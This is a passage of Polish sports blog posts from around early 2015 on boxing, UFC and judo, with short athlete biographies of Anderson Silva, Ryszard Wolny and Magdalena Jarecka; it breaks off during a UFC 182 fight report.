Patrząc na ewentualnych „zastępców” Jenningsa. Briggs jest pięściarzem, który robi wokół siebie dużo szumy, więc pewnością przyciągnąłby uwagę mediów. Gorzej mogłoby być z poziomem sportowym. Ten z kolei zapewniłaby rywalizacja ze Stivernem. Z pewnością dla wszystkich pięściarzy walka z Ukraińcem byłaby ogromnym zaszczytem, jednak wydaje się, że najprawdopodobniej przeciwnikiem mistrza zostałby Briggs. Wątpliwe, aby zwycięzca pojedynku Stiverne – Wilder chciał boksować już w kwietniu. Jeśli nie Jennings, to Briggs?

Jennings ma jeszcze dwa tygodnie. Team Kliczki czeka. Jeśli Amerykanin obniży swoje żądania finansowe do walki dojdzie. Wiadomo, że nie będzie to pojedynek rodem z „Gwiezdnych wojen”, gdyż renoma rywala nie powala. Jennings dobrze prezentował się na ringu i dostał szansę. Teraz musi się zastanowić, co jest dla niego ważniejsze. Licytować się czy stanąć w ringu i sprawdzić się z mistrzem. A Kliczko? Wejdzie do ringu 25 kwietnia i będzie chciał pokonać swojego rywala. Na pewno nazwisko przeciwnika go nie powali.

KM

Wielka gala MMA zagości w Polsce?

W ostatnim czasie w kontekście UFC pojawiały się różne informacje. Również te niezbyt przychylne. Gwiazdy MMA pozwały organizację do sądu za liczne naruszenia. Ponadto, pojawiły się informacje na temat niskiej sprzedaży pakietów PPV w 2014 roku. Mimo tych kłopotów UFC nadal jest niedośgnioną marką i liderem wśród światowych organizacji MMA.

Dla wielu zawodników uczestnictwo w gali organizowanej przez UFC jest wyróżnieniem oraz sportowym awansem. Zupełnie inny świat, inny poziom rywalizacji. Zobaczyć gwiazdy światowego MMA to nie lada gratka. Gratka, która może mieć miejsce w Polsce. UFC podała swoje plany, co do zagranicznych wojaży w 2015 roku. Organizacja uwzględniła również Polskę. Czy będziemy świadkami gali UFC w naszym kraju? Do tego z pewnością jeszcze daleka droga, ale cieszy, że UFC bierze pod uwagę Polskę.

Warto podkreślić, iż organizacja poszerza swoją ekspansję i chce docierać w różne zakątki ziemi. Oczywiście wiąże się to z chęcią zysku oraz budowania potężnego wizerunku, a także utrwalania marki w świadomości społecznej, a w szerszym kontekście – społeczności międzynarodowej. UFC chce rozszerzać swoją strefę wpływów.

Według informacji UFC Tonight najbardziej na planach organizacji skorzysta Brazylia. W Kraju Kawy ma odbyć się aż siedem gal UFC. Na pewno dwie będą miały miejsc się w Rio de Janeiro, a dwie kolejne w Sao Paulo – pierwsza już 22 lutego (UFC Fight Night 61: Bigfoot vs. Mir ). Brazylia po raz kolejny będzie miejscem, w którym zagości najbardziej medialna i najbardziej słyszalna organizacja MMA na świecie. Ciekawie będzie się działo w Europie. UFC zawita do kilku państw na Starym Kontynencie (oczywiście takie są plany, a rzeczywistość może wyglądać inaczej). Organiacja swoje imprezy chciałaby pokazać w: Szkocji, Polsce, Holandii oraz Rosji. Zaplanowana jest już gala, która odbędzie się w Szwecji. W Sztokholmie wydarzeniem będzie UFC on FOX 14: Gustafsson vs. Johnson. 24 stycznia zapowiada się bardzo ciekawa rywalizcja.

W planach UFC ma organizację dwóch gal w Meksyku. Jedna z imprez odbędzie się w Mexico City, a główną atrakcją będzie pojedynek wagi ciężkiej: Cain Velasquez vs Fabricio Werdum. Na brak wrażeń nie może narzekać Australia. UFC planuje w kraju kangurów kilka gal. Na mapie organizacji znalazały się również takiej kraje jak: Japonia, Korea Południowa oraz Filipiny.

Z powyższego wyraźnie widać, że UFC roztacza coraz szersze kręgi. Organizacja w swoich planach nie uwzględniła jedynie kontynentu afrykańskiego. Coraz lepiej UFC ma się w Brazylii, coraz poważniejsze plany wiąże z Australią i Meksykiem. Z kim zwiąże się na kontynencie europejskim? Czy Polska dostąpi zaszczytu goszczenia UFC? Z pewnością byłoby to ciekawe doświadczenie. Wiele zależałoby od klasy fighterów, którzy mieliby się pojawić w Polsce. Jednakże fakt, że nasz kraj znalazł się w planach UFC pokazuje, iż jesteśmy interesującym rynkiem. Znane marki chcą się u nas prezentować. To bardzo ważne. Czekamy zatem na rozwój wypadków.

KM

Anderson "Spider" Silva

Brazylijski zawodnik MMA urodzony 14 kwietnia 1975 roku w Sao Paulo. Uważany za jednego z najlepszych zawodników MMA na świecie bez podziału na kategorie wagowe.  W zawodowym MMA zadebiutował w 1997 roku w Brazylii, jednak regularne starty rozpoczął w 2000 roku dla organizacji Mecca. Pierwszą walkę dla organizacji Mecca Anderson przegrał z Luizem Azeredo. Po tej porażce Silva wygrał dziewięć kolejnych starć z rzędu. W 2002 roku rozpoczął karierę w PRIDE FC. W dwóch pierwszych walkach pokonał Alexa Steblinga oraz Alexandra Otsuke. Na gali Pride 25 zmierzył się z ówczesnym mistrzem UFC Carlosem Newtonem. Brazylijczyk pokonał Kanadyjczyka przez KO.  Kolejnym pojedynkiem na Pride było starcie z Daiju Takase. Pojedynek zakończył się niespodziewaną porażką Andersona.  Po porażce z Japończykiem Anderson wygrał trzy kolejne pojedynki pokonując takich rywali jak: Waldir Dos Anjos, Jeremy Horn, Lee Murray.  31 grudnia 2004 roku na gali PRIDE Schockwave 2004 Anderson zawalczył z Japończykiem Ryo Chonanem, mimo całkowitej dominacji Andersona w walce, Brazylijczyk nie był w stanie zakończyć jej przed czasem. W końcu w trzeciej rundzie Japończyk dźwignią na stopę poddał Silve, był to ostatni pojedynek Andersona dla organizacji PRIDE. Swoją karierę Brazylijczyk kontynuował dla Brytyjskiej organizacji Cage Rage, gdzie pokonał kolejno Jorge Rivere oraz Curtisa Stouta.  W 2006 roku wziął udział w turnieju Hawajskiej organizacji Rumble on the Rock. W pierwszej walce przegrał z Yushin Okamim przez dyskwalifikacje. W tym samym roku stoczył swoją ostatnią walkę dla organizacji Cage Rage, gdzie zwyciężył z Tonym Fryklundem. W połowie 2006 roku związał się z organizacją UFC. W pierwszym starciu dla tej organizacji pokonał efektownie Chrisa Lebena czym rozpoczął serie szesnastu zwycięstw z rzędu. 14 października 2006 roku na gali UFC 64, Anderson pokonał Richa Franklina i zdobył mistrzostwo świata UFC wagi średniej.  Łącznie swojego pasa bronił dziesięciokrotnie pokonując min. Viktora Belforta, Chael Sonnena, Forresta Griffina. 6 lipca 2013 stracił swój pas na rzecz Chrisa Weidmana, który przez TKO pokonał Andersona.  Po stracie pasa Anderson zapowiedział, że nie zamierza odzyskiwać pasa, lecz UFC zestawiło ze sobą zawodników ponownie. Do rewanżu doszło 28 grudnia 2013 roku.  W drugiej rundzie tego starcia, Anderson Silva niefortunnie złamał kość piszczelową nogi, co dało zwycięstwo Amerykaninowi.  Na kilka godzin po walce Anderson Silva przeszedł operację która zakończyła się sukcesem.

Sezon startuje w Austrii

Zima. Za oknem śnieg. Judocy wracają do startów. Tradycyjnie w Nowym Roku rywalizacja rozpoczyna się w w Mittersill w Austrii.

Oczywiście, blasku zawodom dodaje niezwykła aura miejsca. Piękne otoczenie, cudowny klimat i judo. W Mittersill zjawią się czołowe postaci dyscypliny. Liczba sportowców przekroczy 700. Łącznie ze sztabami szkoleniowymi i pracownikami w Mittersill będzie funkcjonowało ponad 900 osób. Cały świat pojawi się w Austrii, aby dać pierwszy akord w Nowym Roku w judo.

Gwiazd w Mittersill nie zabraknie. Pojawią się zawodnicy utytułowani, prawdziwe gwiazdy dyscypliny. W akcji zaprezentują się m.in. Sarah Menezes (BRA), Kayla Harrison (USA), Jarden Dżerbi (ISR), Majlinda Kelmendi (IJF / KOS), Arsen Gałstian (RUS), Lukas Krpálek (CZE), Varlam Lipartelini (GEO), Ilias Iliadis (GRE) i Heorhij Zantaraja (UKR). Poziom sportowy gwarantowany. Kwestią fundamentalną jest wkroczenie w nowy sezon, pełen wymagań, wyzwań i walki. Walki o najwyższe cele.

Ten rok dla judoków będzie niezwykle ważny, gdyż w 2016 roku odbędą się Igrzyska Olimpijskie w Rio de Janeiro. Teraz najlepsi zawodnicy mają czas, aby dobrze zaplanować przygotowanie do najważniejszej sportowej imprezy. Co zrobić, aby szczyt formy przypadł na Rio? To pytanie nurtuje wielu judoków. Warto podkreślić, że z pewnością istotne jest umiejętne rozplanowanie przygotowań, ale wątpliwe jest, aby gwiazdy w tym roku oszczędzały. W kwietniu w Glasgow odbędą się mistrzostwa Europy, a w sierpniu w Astanie mistrzostwa świata. Dwie imprezy, które tak naprawdę pokażą i ustawią zwycięzców w roli faworytów w Rio. Glasgow i Astana będą tymi miejscami, gdzie będzie można wysnuć pierwsze wnioski. Z tym zastrzeżeniem, że nie każdy zawodnik na równym poziomie podejdzie do mistrzowskiej rywalizacji. Wszystko zależy od planu przygotowań. Gwiazdy z pewnością nie odpuszczą sezonu, ale będą z głową dysponowały siłami, aby forma przyszła na określony czas.

W Mittersill rozpoczyna się nowy sezon. Rywalizacja będzie trwała od 7 do 16 stycznia. Czas gorący, w którym wszyscy będą wybiegali w przyszłość, ale warto oddać się austriackiemu klimatowi i rywalizacji na tatami. W akcji prawdziwe gwiazdy, wielkie emocje. Przewodniczący Austriackiej Federacji Judo i wiceprezes EJU Hans Paul Kutschera podkreśla wyjątkowość Mittersill. – Mittersill jest idealnym połączeniem silnego randori, austriackiej gościnności i wspaniałych wrażeń zimowych. Cieszę się również, że Mittersill jest częścią projektu EJU OTC od samego początku, co jest dla nas ogromnym sukcesem.

Sabrina Filzmoser, gwiazda austriackiego judo, podkreśla aspekt pracy, który jest podstawą sukcesu. – Niektórzy próbują zacząć sprawnie, inni w spokojnej, ale wszyscy mają w sobie ducha judo. Każdy ciężko pracuje, aby uzyskać jak najlepsze wyniki w nadchodzącym sezonie. 

Mittersill otworzy drzwi nowego sezonu – pełnego wyzwań i ciężkiej pracy. W pięknych okolicznościach natury, cudownej aurze rozpoczną rywalizację judocy. Ogromna liczba zawodników i ogromne wrażenia. Czy taki będzie cały sezon? Kto będzie królował w tym roku? Jak powiedziała Filzmoser: – Ten rok będzie dużym wyzwaniem.

 

KM

Poszukiwania mistrza w Elblągu

We wtorek (6 stycznia) zakończyła się IV edycja „JUDO CAMP U17. Motywem przewodnim turnieju było hasło „Szlifujemy talenty – poszukujemy mistrza”.

Impreza gościła nie tylko kadry narodowe Polski, ale także kadry zagraniczne, co świadczy o renomie przedsięwzięcia. Zainteresowanie zagranicznych teamów zawodami w Polsce jest jak najlepszą wizytówką dla organizatora, czyli klubu UKS Olimpia Judo Elbląg. Impreza miała charakter trzydniowego treningu, podczas którego zawodnicy i zawodniczki mogli doskonalić swoje umiejętności. Udział w przedsięwzięciu wzięło blisko 400 judoków. Polskę reprezentował blisko 60 zawodników – kadra polski juniorek i juniorów młodszych, juniorek i juniorów wraz z trenerami kadry. Ponadto, w Elblągu zjawili się: Litwini wraz z 15 – osobową kadrą juniorów Litwy, Czesi, Niemcy, Szwedzi i Norwegowie.

Treningi w Elblągu to początek sezonu dla wielu judoków. Przede wszystkim istotą jest rozpoczęcie przygotowań i wejście w nowy rok. Dla wielu będzie to sezon licznych startów w Grand Prix, a przede wszystkim mistrzostw Europy i mistrzostw świata.

W Elblągu pojawiła się również kadra Polski seniorek wraz z trener Anetą Szczepańską. Szczepańska, która ma za sobą bardzo bogatą karierę w judo swoją przygodę z tym sportem oficjalnie zakończyła w 2010 roku, choć walczyć przestała dwa lata wcześniej. Teraz jest szkoleniowcem reprezentacji kobiet. Praca Szczepańskiej przynosi owoce, czego najlepszym dowodem jest piąte miejsce na ubiegłorocznych mistrzostwach świata w Czelabińsku naszej drużyny narodowej. Ponadto, warto dodać brązowy medal Katarzyny Kłys. W Elblągu nasza kadra szlifowała swoje umiejętności, być może w treningach uczestniczyła przyszła mistrzyni. Na imprezie pojawił się również Damian Szwarnowiecki, który jest ogromną nadzieją polskiego judo.

Hasło „Szlifujemy talenty – poszukujemy mistrza” jest bardzo szlachetne. Z pewnością taka impreza działa na rzecz rozwoju dyscypliny oraz jej popularyzacji. Fakt, że uczestniczą w niej zawodnicy z zagranicy i nasze kadry narodowe mówi sam za siebie oraz uwydatnia, iż jest to przedsięwzięcie wysokiej rangi. Organizator zapowiada, że w następnej edycji będzie więcej atrakcji. W przyszłym roku swój udział zapowiedzieli już zawodnicy z Armenii, Gruzji i Azerbejdżanu. Ponadto, organizator ma plan poszerzenia powierzchni hali (w tym roku w użytku było 800 metrów kwadratowych). Dodatkową atrakcją ma być gwiazda imprezy – ma nią być Japończyk. Więcej organizator nie zdradza.

Impreza, która miała miejsce w Elblągu nasuwa analogię do czasów, kiedy w skokach narciarskich trwały poszukiwania następcy Adama Małysza. Czy to zła droga? Skoro służy rozwojowi dyscypliny, przykuwa uwagę społeczeństwa oraz sprawia, że dzieci i młodzież garną się do treningów judo to jak najbardziej postępowanie jest słuszne. Czy skuteczne? Liczą się działania i rozwój. Jeśli organizator jest gotowy dalej przygotowywać przedsięwzięcie oznacza to, że jest to dobra forma rozrywki, a być może dla kogoś stanie się to życiowa droga. Od zabawy do mistrzostwa.

KM

Szpilka rozpoczyna amerykańską przygodę

Nadzieja polskiej wagi ciężkiej wyrusza za ocean. Artur Szpilka postanowił rozwijać swój potencjał w Stanach Zjednoczonych, gdzie są większe możliwości, większe pieniądze i lepsze standardy. Czy to będzie przełomowy krok w karierze Szpili?

Szpilka na polskim podwórku osiągnął wszystko. Wygrał długo oczekiwaną walkę z Tomaszem Adamkiem i udowodnił, że obecnie jest najlepszym bokserem wagi ciężkiej w Polsce. Na rodzimej ziemi nie ma dla pięściarza kolejnych wyzwań. Co dalej? Aby rozwijać swój talent musi szukać kolejnych wyzwań. Myślisz rozwój – mówisz Stany Zjednoczone. Czyż nie tak?

Wielu podjęło taką decyzję, niewielu się w stu procentach powiodło. Podczas ostatniego programu „Puncher” promotor Szpilki, Andrzej Wasilewski, poinformował, że bokser w ciągu najbliższych dni podpisze kontrakt z Alem Haymonem. Strony są bardzo blisko porozumienia i wszystko jest na dobrej drodze do rozpoczęcia współpracy. Haymon to jeden z najpotężniejszych i najbardziej wpływowych menadżerów na świecie. Współpracuje z  najlepszymi nazwiskami na świecie,  ma ogromną siłę przebicia i niezliczone możliwości. Fakt, że Haymon w swojej pracy związał się z takimi nazwiskami jak Floyd Mayweather Jr, Amir Khan, Erislandy Lara czy Deontay Wilder mówi sam za siebie. Szpilka ma okazję trafić na człowieka, który w wielkim świecie boksu porusza się swobodnie niczym baletnica. Czy Haymon otworzy przed Polakiem wielki świat? Istotne jest, że Artur Szpilka może współpracować z tak wpływowym człowiekiem, jednak na tym jego rozwój się nie kończy. Przede wszystkim – Szpila musi pracować nad sobą, nad swoim boksem. Haymon może mu otworzyć furtkę do walk z wysokiej klasy rywalami.

Kwestią podstawową jest podpisanie umowy między stronami. Szpilka wyrusza do Ameryki, aby doskonalić swoje umiejętności. Nad rozwojem polskiego boksera będzie czuwał sam Ronnie Shields. Przed Szpilką okres ciężkiej pracy pod okiem wybitnego trenera. Pracy, która może wydać owoce. Na sukces trzeba zapracować, a taka osobistość jak Shields może pozytywnie wpłynąć na młodego pięściarza.

Kolejny pojedynek Artur Szpilka prawdopodobnie stoczy w marcu podczas gali, na której gwiazdą będzie Andrzej Fonfara. Walki transmitować ma telewizja Showtime, więc Szpila dostanie okazję zaprezentowania się szerszemu gremium. Szpilka będzie trenował i rozwijał się w Ameryce, temu poświęci uwagę. Jego celem będą walki za oceanem, ale bokser z Wieliczki ma również pojawiać się w Polsce. Prawdopodobnie Szpilka raz na rok stoczy walkę na ojczystej ziemi.

Czy współpraca z Haymonem nada rozpędu karierze Szpili? Z pewnością jest to dobry krok, jednak musi dojść do podpisania umowy między stronami. Szpilka rozpoczyna nowy rozdział w swojej karierze. Treningi w Ameryce, pod okiem Ronniego Shieldsa to zupełnie inny kaliber. To wyzwanie, weryfikacja możliwości i wytrzymałości, a także kształtowanie charakteru. Czas pokaże, czy Szpilka wykorzysta szansę i zdobędzie Amerykę.

KM

Bracia Kliczko jak Tyson, czyli rys czasów

Często analizie poddajemy kwestię umiejętności poszczególnych bokserów. Zdarza się, że porównujemy byłe i obecne gwiazdy pięściarstwa. Wydaje się, że znanych postaci jest coraz mniej.

Kiedyś laik wiedział, kim jest Mike Tyson czy Lennox Lewis. Teraz głównymi ikonami boksu są bracia Kliczko. Witalij szerszemu gremium ukazał się poprzez działalność polityczną. Czy obecnie mamy kryzys wyrazistych postaci? A może tzw. showmanów jest zbyt wielu? Odwołując się do lat 90. warto zwrócić uwagę, że postaci którym poświęcano uwagę były zarazem wybitnymi w swojej dziedzinie oraz posiadały osobowość budzącą zainteresowanie. Obecnie, pożądane jest, aby bokser miał „gadane” i nakręcał widowisko. Haye’owi umiejętności odmówić nie można, ale faktem jest, że częściej używał języka niż pięści. Podobnie Chisora. Fenomenem w tej dziedzinie jest Mayweather – człowiek wielu talentów.

Taka jest różnica między czasami minionymi, a obecnymi. Kiedyś mistrz był mistrzem i każdy o tym wiedział. To były postaci, ikony. Teraz w tej ogólnej mieszance trudno znaleźć wyrazistych bohaterów. Wiadomo, że są (byli) bracia Kliczko, Mayweather czy Pacquiao. Z pewnością to kwestia czasów i zmieniających się wymagań.

W latach 80. i 90. bokser w trakcie kariery amatorskiej potrafił stoczyć ponad dwieście walk. W tym czasie pięściarz przechodził prawdziwą szkołę życia i zdobywał jakże cenne doświadczenie. Obecnie do kariery amatorskiej nie przywiązuje się aż takiej wagi i podejście to nie jest najlepsze. Zawodnik musi obyć się z ringiem, nabrać ogłady. Gdy kariera amatorska jest zaledwie ułamkiem w jego życiu to z miejsca zabiera mu się pewien obszar na popełnianie błędów oraz nabieranie ringowego obycia. Ktoś zagadnie, że skoro gość ma talent to sobie poradzi. Jasne, oczywiście. Z tym, że każdy ten talent musi w sobie odkryć i nauczyć się nim posługiwać, nabrać pewnych umiejętności wykorzystywania daru, który posiadł. Skoro posyłamy dziecko do szkoły, aby nauczyło się czytać i pisać to młodemu pięściarzowi należy się czas adaptacji zwany karierą amatorską. Również  z tego względu, że nie każdego można rzucić na głęboką wodę. Z jednej strony kariera amatorska ma aspekt czysto sportowy, aby bokser nabrał ogłady, a z drugiej psychologiczny. Pięściarz musi nauczyć się radzić z presją, trudnymi sytuacjami i publicznością. Młody bokser występujący w Madison Square z pewnością nie wchodzi do ringu na luzie, jeśli nie został nauczony radzenia sobie z presją.

Czy aż tak duża jest różnica między czasami minionymi, a obecnymi? Kwestia osobowości i ich wyrazistości rzuca się w oczy, a także kwestia podejścia do kariery amatorskiej. Wielki mistrz wagi ciężkiej Evander Holyfield podkreśla znaczenie amatorstwa: – Obecnie nastała zupełnie inna era pięściarstwa. Ja, Lewis, Bowe czy Tyson mieliśmy długie kariery amatorskie. Gdy spyta się tamtych pięściarzy ile stoczyli amatorskich walk w swojej karierze i porówna się ten bilans z dzisiejszymi pięściarzami, to widać wyraźną różnicę. Czy dzisiejsze gwiazdy poradziłby sobie w latach 90? Czołowymi postaciami wagi ciężkiej są bracia Kliczko. Holyfield uważa, że Ukraińcy poradziliby sobie w jego erze: – Kliczko daliby sobie radę, ponieważ byli dobrze prowadzeni. Tak samo jak i my.

Boks nie zatrzymał się w miejscu, lecz z każdym dniem idzie do przodu. Ciężko dywagować nad kwestiami większego potencjału pięściarzy. Można pochylić się jedynie nad warunkami  jakie obecnie panują. Widoczne są zmiany, czas robi swoje. Wydaje się, że czas Tysonów, Lewisów i Holyfieldów już minął.

KM

Medal i porządki w związku

Rok 2015 w judo będzie obfitował w liczne wydarzenia. Liczymy na kolejne sukcesy w postaci medali z najważniejszych imprez oraz uporządkowanie sytuacji w Polskim Związku Judo.

Perturbacje wewnątrz władz nie służą wizerunkowi judo. Czas to w końcu zmienić. Najważniejsze jest dobro judo i ten fakt należy podkreślać. W tym wypadku na bok należy odsunąć interesy osobiste oraz urazy. Istotą całej sytuacji jest zaprowadzenie spokoju i zapewnienie warunków do rozwoju judo. Czy istnieje taka możliwość? Konflikt narasta, każda ze stron ma swoje racje. Z tym, że problem nie dotyczy nadużyć finansowych czy szeroko pojętych nieprawidłowości. Przede wszystkim chodzi o władzę i wpływy. Z tym, że wyraźnie należy podkreślić, iż nie jest to najlepsze pole do takich praktyk. Istotną jest judo i jego dobro. 8 marca odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyłonienia władz Związku. Należy pamiętać o zaangażowaniu i wkładzie w tworzenie podstaw dla rozwoju judo w Polsce. O tym, co w ostatnim czasie osiągnęliśmy oraz jaką renomę zdobyliśmy na świecie. To są najistotniejsze rzeczy. Liczy się działania, które daje owoce. 8 marca powinien zakończyć się proces, który zachwiał polskim judo.

""

W 2015 roku liczymy na medale naszych reprezentantów. W dniach 9 – 12 kwietnia w Glasgow odbędą się mistrzostwa Europy. Agata Ozdoba będzie broniła brązowego medalu. Z pewnością mamy potencjał, aby indywidualnie poprawić ten wynik. W dobrej formie są Maciej Sarnacki, Katarzyna Kłys oraz Daria Pogorzelec. Również w rywalizacji drużynowej z całą pewnością możemy liczyć na sukces. Ekipa Anety Szczepańskiej funkcjonuje bardzo dobrze i pod okiem mistrzyni ustawicznie rozwija się. Po mistrzostwach Europy przyjdzie czas na zmagania w mistrzostwach globu. 24 – 30 sierpnia w Astanie odbędą się mistrzostwa świata seniorów i seniorek. W 2014 roku w Czelabińsku po jedenastu latach w końcu zdobyliśmy medal na MŚ. Po brąz sięgnęła Katarzyna Kłys. Oby w tym roku nasza reprezentacja osiągnęła podobny wynik, bo nie ma, co czekać na kolejny medal.

W sierpniu w Sarajewie odbędą się mistrzostwa świata kadetów. Na początku września nasi reprezentanci wystąpią w mistrzostwach Europy Kadetów w Sofii. W dniach 4-8 września odbędzie się Uniwersjada w Gwangju. Pod koniec października w Abu Dabi do rywalizacji staną juniorzy i juniorki w mistrzostwach świata.

Na krajowym podwórku w kwietniu będziemy śledzić zmagania w mistrzostwach Polski seniorów i seniorek. W marcu w Katowicach będzie miała miejsce rywalizacja w Akademickich Mistrzostwach Polski. 28 lutego – 1 marca odbędzie się Turniej Warszawski – European Open Men Senior.

Punktem przełomowym, który uporządkuje sytuację na polskiej scenie judo będzie Nadzwyczajny Kongres Polskiego Związku Judo w marcu. Ponadto, w Astanie podczas mistrzostw świata liczymy na zdobycz medalową. Miejmy nadzieję, że w Czelabińsku w 2014 roku nadeszło długo wyczekiwanie przerwanie niemocy. Oby sportowo ten rok był udany. Pod innymi aspektami poukładany i spokojny.

KM

Ryszard Wolny

Polski zapaśnik urodzony 24 marca 1969 roku w Raciborzu.  Pięciokrotny olimpijczyk, zdobywca złotego medalu Igrzysk Olimpijskich z 1996 roku. Jako zawodnik trenował zapasy w stylu klasycznym. Występował w kategoriach wagowych koguciej, piórkowej i lekkiej. Przez większość swojej kariery trenował w klubie MKZ Unia Raciborz.  W swoim dorobku medalowym Ryszard posiada medale Igrzysk Olimpijskich, Mistrzostw Świata, Mistrzostw Europy oraz Mistrzostw Polski. Po zakończeniu kariery sportowej zajął się działalnością trenerską. W 2007 roku został trenerem Polskiej kadry narodowej zapaśników. W 2006 roku został wybrany radnym Raciborza, gdzie powierzono mu stanowisko przewodniczącego komisji oświaty, kultury, sportu, rekreacji i opieki społecznej.  W 2010 roku ponownie został wybrany do rady miejskiej gdzie objął funkcje wiceprzewodniczącego rady miejskiej VI kadencji.  Ryszard został odznaczony Krzyżem Kawalerskim Orderu Odrodzenia Polski za wybitne osiągnięcia sportowe.

Największe osiągnięcia sportowe to:

  • Złoty medal Igrzysk Olimpijskich Atlanta 1996,
  • Brązowy medal Mistrzostw Świata Ostia 1990,
  • Złoty medal Mistrzostw Europy Oulu 1989,
  • Srebrny medal Mistrzostw Europy Besancon 1995,
  • Srebrny medal Mistrzostw Europy Sofia 1999,
  • Brązowy medal Mistrzostw Europy Poznań 1990.

Magdalena Jarecka

Polska zawodniczka mieszanych sztuk walki urodzona 5 sierpnia 1983 roku w Łodzi.  Magdalena sporty walki uprawia od 1994 roku. W latach 2001-2008 była tryumfatorką wielu zawodów min. Karate shidokan, Kempo i BJJ.  Największe sukcesy Magdy to zdobycie dwukrotnie mistrzostwa Polski w karate full-contact w kategorii juniorek i seniorek, trzecie miejsce w Pucharze Świata Karate Shidokan w 2005 roku oraz trzykrotny tryumf w Mistrzostwach Europy w Kempo (2004,2006,2007). W 2005 roku zdobyła zawodowe mistrzostwo Polski w Shidokan.  W 2008 roku zdobyła także mistrzostwo Polski w Brazylijskim Jiu-jitsu. Magdalena zadebiutowała w MMA 9 października 2005 roku na łotewskiej gali World Full Contact Association w Rydze.  Jej przeciwniczką była Łotyszka Oksana Chernikowa. Polka przegrała walkę jednogłośną decyzją sędziów.  W 2007 roku wystartowała na turnieju Japońskiej gali K-GRACE, która odbyła się w Tokio. W ćwierćfinale pokonała Koreankę Eon Ju Lee niejedno głośna decyzją sędziów. W półfinale turnieju Jarecka zmierzyła się z Marloes Coenen. Polka przegrała ten pojedynek przez poddanie zza pleców.  W 2008 roku stoczyła wygrany pojedynek z Iwoną Pajak.  Rok później przegrała z Janą Kunicką przez TKO w pierwszej rundzie. W 2010 roku Magda Jarecka wystąpiła na gali Fighters Arena Łódź gdzie zmierzyła się z Litwinką Arune Lauzeckatie. Polka wygrała pojedynek jednogłośną decyzją sędziów.  Magda jest zawodniczką Shidokan Łódź. 

Starcie dwóch odrzuconych

6 lutego w "Beau Rivage Resort & Casino" w Biloxi dojdzie do pojedynku mistrza świata federacji IBF wagi średniej Jermiana Taylora z Sergio Morą. Obaj pięściarze są jakby na uboczu, gdzieś schowani za pierwszym rzędem. Dlaczego?

Wypadałoby zacząć od Taylora skoro jemu przyjdzie bronić mistrzowskiego pasa. Jednak na początek słów kilka poświęcimy jego rywalowi. Sergio Mora to nazwisko znane, słyszane, bokser o określonej marce. Pięściarz solidny, który dobrze wykonuje swój fach. Mora w 2008 roku sięgnął po pas WBC wagi junior średniej. Mimo to nie spotkał  się z szerszym zainteresowaniem i nie uzyskał wpływu na rynek bokserski. Sergio Mora to dobry bokser – to jest pewne, ma umiejętności predysponujące go do występów na najwyższym poziomie. Czegoś mu brakuje. Ale czego? Facet wywalczył mistrzostwo świata WBC, jednak w żaden sposób nie spotkał się z zewnętrznym odbiorem. Od trzech lat nie udało mu się wzbudzić zainteresowania swoją osobą wśród stacji telewizyjnych i kibiców. Czy to problem osobowości? Być może Mora jest cichy i skromny – ale czy to wada? Nie, nie w tym problem. Kwestią podstawową jest fakt, że Mora nie trafił na odpowiednich ludzi, którzy potrafiliby go wypromować i zbudować kapitał na jego osiągnięciach. W takim wypadku bokser cierpi i musi topić się w oparach solidności. Sergio Mora to mistrz i dobry pięściarz, ale brakuje mu siły przebicia. O swoje trzeba walczyć. Sergio Mora zapowiada, że chce zwrócić na siebie uwagę poprzez kończenie swoich walk przez nokaut. Z pewnością może to być klucz, który otworzy mu drzwi. Należy podkreślić, że w tym wszystkim musi być efektywność, czyli czynnik wzbudzający zainteresowanie. Jeśli nie ma wsparcia z zewnątrz to musi zawalczyć sam o siebie. Zrobić coś, co utkwi w pamięci. Wielu pięściarzy ma mniejsze umiejętności i ma „gadane”, na czym korzysta. Czy Mora walką z Taylorem  rozpocznie nowy rozdział w swojej karierze?

A może będzie to przełom dla Taylora? W 2009 roku pięściarz zrobił sobie dwuletnią przerwę od boksu, jednak postanowił wrócić. Początkowo nie radził sobie zbyt dobrze i popadł w zapomnienie, jednak wszystko się zmieniło. Punktem przełomowym była walka z Samem Solimanem. Taylor dość niespodziewanie pokonał mistrza świata wagi średniej IBF i zdobył pas. Jego wartość wzrosła, ale na jak długo? Swego czasu Taylor był cenionym bokserem. To on pokonał Bernarda Hopkinsa i zunifikował cztery pasy – WBA/WBO/IBF/WBC. Stał się z miejsca wielkim pięściarzem, którego nazwiskobyło znaczące na rynku. Jednak koleje losu Taylora potoczyły się tak, że spadł z tronu. Dopiero walka z Solimanem przypomniała o jego istnieniu.

Pojedynek Taylor – Mora dla obu bokserów ma ogromne znaczenie. Walkę transmitować będzie telewizja ESPN 2. Porażka dla obu może być fatalna w skutkach. 36-letni Taylor może ponownie popaść w niebyt i zapomnienie. Tak naprawdę długo walczył o swoje nazwisko, żeby liczyć się na rynku. Zdobył pas IBF i to pozwoliło mu na znalezienie miejsca na rynku. Co jeśli przegra? Z pewnością będzie traktowany jako coraz mniej znaczący amerykański bokser. Dla Mory porażka będzie oznaczać pożegnanie się z marzeniami i pogodzenie się ze statusem pięściarza solidnego. 6 lutego pojedynek Taylora i Mory zapowiada się ciekawie. Starcia dwóch odrzuconych, trochę zapomnianych. Tych, którzy są ciut z tyłu, a bardzo chcą być z przodu.

KM

UFC 182: Mistrz mistrzem pozostał

Podczas gali UFC 182 w Las Vegas w walce wieczoru naprzeciw siebie stanęli mistrz wagi półciężkiej Jon Jones i Daniel Cormier. Zacięty pojedynek, który zakończył się werdyktem sędziów. Werdyktem pozytywnym dla mistrza.

Do starcia Jonesa i Cormiera miało dojść już na UFC 178, jednak z powodu kontuzji kolana mistrza do walki nie doszło. Początkowo posiadacz pasa miał rywalizować z Alexandrem Gustafssonem, jednak Szwed nabawił się urazu. Z okazji skorzystał Cormier. Dla publiczności zapowiadało się ciekawe wydarzenie. Rywalizacja dwóch fighterów, którzy nie znali słowa porażka. Cormier nie przegrał dotąd żadnego pojedynku, Jones zaledwie jeden (został zdyskwalifikowany).

